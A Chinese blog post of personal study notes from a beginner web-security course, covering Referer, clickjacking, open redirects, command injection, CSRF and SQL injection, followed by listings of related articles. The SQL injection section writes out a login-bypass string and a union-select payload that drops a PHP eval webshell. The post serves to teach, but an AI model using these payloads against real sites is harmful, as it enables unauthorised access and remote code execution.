记一次网易课程学习

最新推荐文章于 2023-04-25 15:39:17 发布
原创 最新推荐文章于 2023-04-25 15:39:17 发布 · 436 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #web

本文概览了网络安全的基础概念，包括URL组成、Referer的作用、DOM与BOM操作、搜索引擎语法、点击劫持、URL跳转漏洞、命令注入、文件操作、敏感文件探测、命令注入的区别、CSRF与SQL注入的修复方法及XSS攻击思路。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

前一段时间看了网易的web白帽子入门课程，讲师真的是很nice，附上链接 https://www.bilibili.com/video/BV1Rb411G7Pb

这里放上自己的笔记，有点粗糙，但是为了记录一下嘛

URL组成

图片: https://uploader.shimo.im/f/lq266BXDGEc8mrH9.png

referer

Referer 是 HTTP 请求header 的一部分，当浏览器（或者模拟浏览器行为）向web 服务器发送请求的时候，头信息里有包含 Referer 。
就比如我访问www.baidu.com 那么referer头里面就会是http://www.baidu.com
图片: https://uploader.shimo.im/f/ObqlWxgEqAIrZxSu.png
如果在baidu里面点击Google的链接，referer里面将还会是baidu，所以referer有一作用：防盗链
比如我只允许我的ip地址访问我的服务器，那么就可以进行referer验证，如果是就可以成功访问，如果不是就拦截
这样就可以有效的拦截一部分的CSRF

DOM和BOM

DOM操作HTML，BOM操作浏览器

搜索引擎语法：

intitle：keyword 标题中含有关键词的网页
intext:keyword 正文中含有关键词的网页
site：domain 在某个域名和子域名下的网页

点击劫持

定义：通过覆盖不可见的框架误导受害者点击而进行的攻击行为
特点：隐蔽性高、骗取用户操作、“UI-覆盖攻击”、利用iframe或者其他标签的属性
URL跳转漏洞
定义：借助未验证的URL跳转，将应用程序引导到不安全的第三方区域
实现：header头、JS、META标签跳转
图片: https://uploader.shimo.im/f/mSizjWA8PICTEV5M.png
图片: https://uploader.shimo.im/f/3i3u2lWX2iePfn3I.png

命令注入

命令拼接&，一次执行拼接命令
管道符|，前面命令的输出作为后面命令的输入
图片: https://uploader.shimo.im/f/JJvJ7CAAIkvnGLPS.png

图片: https://uploader.shimo.im/f/22gRIVUsWIbJrtJP.png
Windows中url链接的&应用%26代替，因为他会被认为是一个分隔符

文件操作

文件操作包括很多东西，如文件上传、下载，这些地方都有可能存在漏洞
图片: https://uploader.shimo.im/f/9PZlkNRlsCseJHMI.png

敏感文件探测

猜测文件名，然后根据返回的http状态码判断文件是否存在 如/login.php
工具（御剑等）扫描
漏洞文件扫描
AWVS APPSCAN等
浏览器搜索
图片: https://uploader.shimo.im/f/rdK7VJE5LJgzMs8P.png
网络空间搜索引擎FOFA

命令注入

命令拼接符的区别
图片: https://uploader.shimo.im/f/GQwbo1EDAXlIomz2.png
命令注入可以使用白名单避免
如果不显示结果可以使用延时注入

CSRF

修复方法：

验证码
随机token
检验referer

SQL注入

万能密码登录

admin’–
'-- 分别闭合和注释

写webshell
?id=1' union select 1,’<?php%20eval($_POST[cmd]);?>‘ INTO OUTFILE ‘D:\\phpstudy\\dvwa\\cmd.php’%#

XSS

攻击思路
图片: https://uploader.shimo.im/f/ieYfOUIu6wtudeDO.png
结束~

元学习在个性化推荐系统中的创新应用
AI天才研究院
03-15 907
在当今信息爆炸的时代，个性化推荐系统成为了帮助用户快速找到感兴趣信息的重要工具。传统的推荐系统在处理复杂多变的用户偏好和数据时存在一定的局限性。元学习作为一种新兴的机器学习范式，具有快速学习和适应新任务的能力，为个性化推荐系统带来了新的发展机遇。本文的目的在于深入研究元学习在个性化推荐系统中的创新应用，探讨其原理、算法、实际案例等方面，为相关领域的研究和实践提供参考。范围涵盖了元学习的基本概念、核心算法，个性化推荐系统的架构和常见算法，以及元学习在推荐系统中的具体应用场景和实现方法。
网易云课堂吴恩达Andrew Ng深度学习笔记（一）
u011135410的专栏
02-22 5367
时不时给自己充电，记笔记巩固记忆。我以前也接触过机器学习，往简单说就是以前统计理论的曲线拟合的概念包装，数据一多就变成机器学习或者叫做人工智能，也就是用数据做分析，得出分类或者回归的结果。以前是用SVM支持向量机做的毕业设计，用数据往函数里面一塞算上1~2天。所以在我的印象中，机器学习其实是个很学术的东西，实用意义不大。第一次听说深度学习是在Alpha Go的围棋比赛，把人类棋手一网打尽之后，才知...
网易云公开课：机器学习课程（课件）
11-29
网易云公开课：机器学习课程（课件）吴恩达 人工智能和机器学习领域国际最权威学者之一
java架构师成长之路学习心得
qq_32004375的博客
08-31 1050
网易java架构师课程学习心得-第1篇单节点系统学习心得为什么来到网易学习我都学到了什么我的学习方法1.少娱乐，多学习2.多看，多练，多思考3.3W1H和最小知识点学习法4.做好学习笔记结束语 单节点系统学习心得 从2020年6月初报名，到7月初正式开始课程学习，再到现在，这两三个月的时间里我收获了很多，也有一些体会、心得和心里话，借这个平台和大家分享！ 为什么来到网易学习 在决定来网易这边学习之前，我也是对比了很多教育机构的培训课程，课程的内容基本上都是大同小异，价格上却差别比较大，网易在价格上还是很公道
网易云课堂课程下载教程
qq_33263232的博客
08-30 3538
网易云课堂不能下载视频，缓存打不开？ 记： 网易云课堂、中国大学mooc这些学习平台确实大大方便了我们这些工作党学习，之前一直用的是手机客户端看视频，但是由于换手机啊，清理垃圾啊，手机储存容量各种原因，同一个课程下载了好几次，下完又被清除。今天发现了一个好东西，推荐大家低调使用。 电脑端无法下载视频，这对于我们这种成天到处跑的人太不友好了。 移动端缓存是加密m3u8格式，缓存容易被当作垃圾清理！其次，看课程用手掌大的屏幕看不难受吗？ 我曾试过吧手机缓存考出来，用各种m3u8合并工具合并，但是被各种限制，有些
作业——在线学习Android课程之第一周
binh0035的博客
03-06 717
作业——在线学习Android课程之第一周因为个人兴趣，我想学习Android编程，而为了能够系统地获得相关知识，故报名了某一个网络课程。因课程要求，在此写下了自己在第一周的收获。1、在这一周的学习中，我首先通过群中的讨论、老师的介绍、以及观看网络课程中的教学视频，初步了解了Android编程的概况。然后就开始参考网上前辈的攻略，搭建自己的开发环境： http://stormzhang.com/
网易云课堂-吴恩达机器学习-学习归纳-1-初识机器学习
Andrew Dang的博客
08-18 1545
课程链接：https://study.163.com/course/courseMain.htm?courseId=1004570029&trace_c_p_k2=af72cced763c478695d563977eb54ce6 一、机器学习算法就在我们身边 机器学习算法的应用在我们身边随处可见，我们每天都在享受着机器学习算法带给我们的便捷，比如，打开Google或百度，搜索你感兴趣的内容...
网易云课堂[Web安全工程师]第一部分 第二章WEB简介 学习记录
你在看我的博客哟～
01-11 1694
【仍旧写在前面 个人学习笔记】第一部分 WEB基础知识第二章 WEB基础知识第一节 前端开发基础——HTML课后小测验 1 HTML页面的注释符号是那种？<!-- --> 2 若要在页面中创建一个图形超链接，要显示的图形为myhome.jpg,所链接的地址为http://study.163.com,以下用法中，正确的是 <a href="http://study.163.com"><img src
吴恩达《机器学习》课程总结
Taurus
07-22 3195
机器学习课程总结一、有监督学习（Supervised learning）1. 线性回归（Linear regression）2. 逻辑回归（Logistic regression）3. 神经网络（Neural Networks）4. 支持向量机（Support Vector Machines）二、无监督学习（Unsupervised learning）1. K-means算法2. PCA主成分分析三、具体应用实例1. 手写数字识别2. 人脸图像压缩3. 异常检测（Anomaly detection）4. 推
瑞吉外卖:linux课程学习(软件安装、项目部署)
qq_41328735的博客
07-26 2102
前面介绍的项目部署是手动部署，也就是部署过程中的每一步操作都需要我们手动操作。接下来，我们需要再讲解一下项目的自动部署，从而来简化项目部署的操作，那么我们先来整体上了解一下项目自动部署的流程及操作步骤。操作步骤如下1).在Gitee上创建远程仓库，并将本地的项目代码推送到远程仓库中2).在Linux中安装Git,克隆代码3).在Linux中安装maven4).编写Shell脚本（拉取代码、编译、打包、启动）5).为用户授予执行Shell脚本的权限6).执行Shell脚本。...
【学习日记】图像处理-计算机视觉学习路线--个人记录
weixin_44211644的博客
07-29 1512
在此做个记录
机器学习笔记（吴恩达）
kyxdjy的博客
04-25 7738
机器学习笔记（吴恩达）
记一次文本框JAVA作业
Panacea
05-25 863
题目 编写一个包含一个文本区域和三个按钮的界面程序，如图所示，单击不同的按钮，在文本域中显示不同的文本 package package20; import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JText
SQL注入系统学习
Panacea
08-25 756
本次学习共分为十五课时，虽然之前学习过但是感觉并不系统，所以重新学习了一遍 1）：sql注入基础 原理： 对用户输入的参数没有进行过滤或者过滤不严格导致语句与数据库进行交互，从而欺骗服务器执行恶意的SQL语句。 危害： 获得、篡改数据库信息，敏感信息泄露 2）：注入分类 按照参数类型： 字符型、数字型 数字型 判断方式 ?id=1 and 1=1--+ true ?id=1 and 1=2--+ false 按照注入位置： GET注入、POST注入 根据结果反馈： 布尔盲注、时间盲注 3）：get
Day8SSRF绕过（gopher）
Panacea
10-08 366
SSRF绕过肯定要使用各种协议 今天主要学习的是gopher协议 什么是gopher协议 定义：Gopher是Internet上一个非常有名的信息查找系统，它将Internet上的文件组织成某种索引，很方便地将用户从Internet的一处带到另一处。在WWW出现之前，Gopher是Internet上最主要的信息检索工具，Gopher站点也是最主要的站点，使用tcp70端口。但在WWW出现后，Gopher失去了昔日的辉煌。现在它基本过时，人们很少再使用它。 gopher协议支持发出GET、POST请求：可
HTTP和HTTPS
Panacea
05-12 350
本文经过借鉴书籍资料、他人博客总结出的知识点，欢迎提问 关于HTTP和HTTPS可以看下这个视频 https://www.bilibili.com/video/BV1rt4y1m7o5 定义： HTTP协议，即 超文本传输协议(Hypertext transfer protocol) 。是一种详细规定了浏览器和万维网(WWW = World Wide Web)服务器之间互相通信的规则，通过因特网传送万维网文档的数据传送协议。 现在使用的HTTP主要优点是多路复用（同一时间发送请求做到同一时间响应） HTTP
Day1信息收集工具
Panacea
09-29 334
渗透测试第一步：信息收集 oneforall 子域名收集，kali配置环境整了一下午，可直接down到Windows上使用 天眼查、企查查 可查询公司注册域名、邮箱、注册人等信息 爱站、站长工具 whois反查，权重，备案号等 Nmap 端口扫描 Wappalyzer 一个插件，可用于指纹识别 ping命令 输入网址可以查看ip 网络空间搜索引擎 Fofa、shodan、zoomeye Google hacking 谷歌语法： title=“beijing” 从标题中搜索“北京” header=“jbos
Day11复现失败&做题
Panacea
10-13 301
今天做了好好看的美甲，超级无敌开心 本来想复现cve-2016-7124的，ctf中的反序列化好多都是使用这种方法绕过的，但是我没复现出来，就把重要知识点记录一下吧。 cve-2016-7124主要就是使用反序列化中__wakeup函数进行绕过的 漏洞原理 也就是那个很重要的知识点： 当反序列化字符串，表示属性个数的值大于真实属性个数时，会跳过 __wakeup 函数的执行。 漏洞代码 <?php class test{ public $name = "panacea"; publi
Day12流量包学习&做题
Panacea
10-15 273
分析流量包主要使用wireshark，今天在看视频时候发现另一个看着也好棒的工具，networkminer，也要学习一下 wireshark的基本使用 通过查找功能搜索关键字 直接ctrl+F弹出搜索框查询 wireshark过滤规则 基本比较 等于：== 不等于：!= And： && Or： || 包含：contains（如http contains “flag”） 匹配：matches 如果记不得的话可以使用“查找表达式”来搜索 过滤ip，如来源ip或目标ip等于某个地址 来源ip：i
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值